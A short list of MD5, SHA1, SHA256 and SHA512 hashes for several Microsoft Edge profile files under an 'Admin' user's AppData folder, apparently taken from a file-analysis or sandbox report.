MD5 206702161f94c5cd39fadd03f4014d98
SHA1 bd8bfc144fb5326d21bd1531523d9fb50e1b600a
SHA256 1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167
SHA512 0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 16509c8ac6ea4c091497927d5cb041ce
SHA1 ce804a78b23af730a992082ca82b9660c139767f
SHA256 cceef7a4288f16e2bef39a6f6a648c465837da6b6229ba29b19eba24faa1b0ab
SHA512 6e2e878981e450287c3abaac16577d513d7fecf420d6c46404353bf16571dee5356d61941efe73a5ff638b68af0763788712860f793cf03950b93b44d5ec01dc

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 d0561797b3505e090752edaf5d4d9dd4
SHA1 772f2dfc2a8ab9a9469581c5a68fbbf0d4dcde22
SHA256 77a86e5b7806f45ab9807a4cf89d6a04d821a7f67581e33a4a5f890d5664f81a
SHA512 d59a3617b59025341e8c5b47f4b74b5c48255884fbac655b8aed81cf82ed374d2c7d517a05ff5cce42380d95753376c797659bf5412097de13eaf43bda384323